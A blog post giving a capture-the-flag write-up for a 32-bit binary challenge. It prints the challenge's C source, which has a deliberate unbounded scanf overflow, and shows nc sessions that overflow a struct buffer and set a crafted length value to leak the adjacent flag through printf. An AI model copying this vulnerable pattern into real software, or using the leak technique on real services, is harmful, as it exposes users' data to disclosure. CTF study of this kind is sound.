Codehead's Corner
Random ramblings on hacking, coding, fighting with infrastructure and general tech
CTF(X) 2016 – GuessLength - Binary 100
Posted: 29 Aug 2016 at 22:43 by Codehead

Here’s a nice little 10 point binary challenge from CTF(x) 2016.

We’re told of a vulnerable service running at problems.ctfx.io 1338. We’re also given the source code:

// gcc -o guesslength -m32 guesslength.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
	char input[50];
	int length;
	char flag[50];
} data;

int main()
{
	setbuf(stdout, NULL);
	data d;

	strncpy(d.flag, "REDACTED", sizeof(d.flag));
	
	printf("Enter your text: ");
	scanf("%s", d.input);
	
	printf("Guess the length of this text: ");
	scanf("%d", &d.length);
	
	if (strlen(d.input) == d.length) {
		printf("You guessed the length correctly. Great job!\n");
	} else {
		printf("The actual length of '%s' is %ld, not %d. Sorry :(\n", d.input, strlen(d.input), d.length);
	}
	
	return 0;
}

The comment at the start shows us that the compiled program will be 32bit and won’t have any of the exploit mitigations disabled.

A quick review of the source code indicates that a structure named data is used to store all the buffers and variables in the program.

The flag is copied into the last element of the structure at the start and the user’s string input and length value are later stored in the first two elements.

All the character buffers in data are fixed length and the use of scanf() means that we can enter any length of string and overflow the target.

Connecting to the service gives the following prompt as expected:

#> nc problems.ctfx.io 1338
Enter your text: 

Entering 54 characters ensures we write past the end of the 50 byte input buffer.

Enter your text: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA

The next request is to guess the length of the text:

Guess the length of this text: 54
The actual length of 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAA6' is 53, not 54. Sorry :(

Our guess of 54 is wrong, but we see a new ‘6’ character in the output. This is the length value; 54 decimal or 0x36 hex resolves to ASCII 6. What we are seeing here is the input buffer running into the length field as no NULL character was encountered in the initial string due to the overflow of the fixed buffer. As the length variable is a 4 byte DWORD, the value in memory for 54 decimal is 0x36000000, a ‘6 is printed and the zeros are interpreted as NULL values by our runaway printf() function and the string is finally terminated.

The sharp eyed observer may have noticed that the string portion of the output is truncated slightly, but to 52 chars rather than the expected 50. This is padding inserted by the compiler to align the next variable on a 4 byte boundary. It is possible for these padding bytes to be canary values too, but not in this case.

To run on through the length field and see the text in the flag field, we need to remove those NULLs in the length value.

To insert 0x45444342 hex into the length, the decimal equivalent of 1162101570 is entered:

#> nc problems.ctfx.io 1338
Enter your text: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA
Guess the length of this text: 1162101570
The actual length of 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAABCDEctf(hiding_behind_a_null_overwrite)' is 91, not 1162101570. Sorry :(

Despite the apologetic message, we have found the flag: ctf(hiding_behind_a_null_overwrite).

Categories: Hacking CTF

Site powered by Hugo.
Polymer theme by pdevty, tweaked by Codehead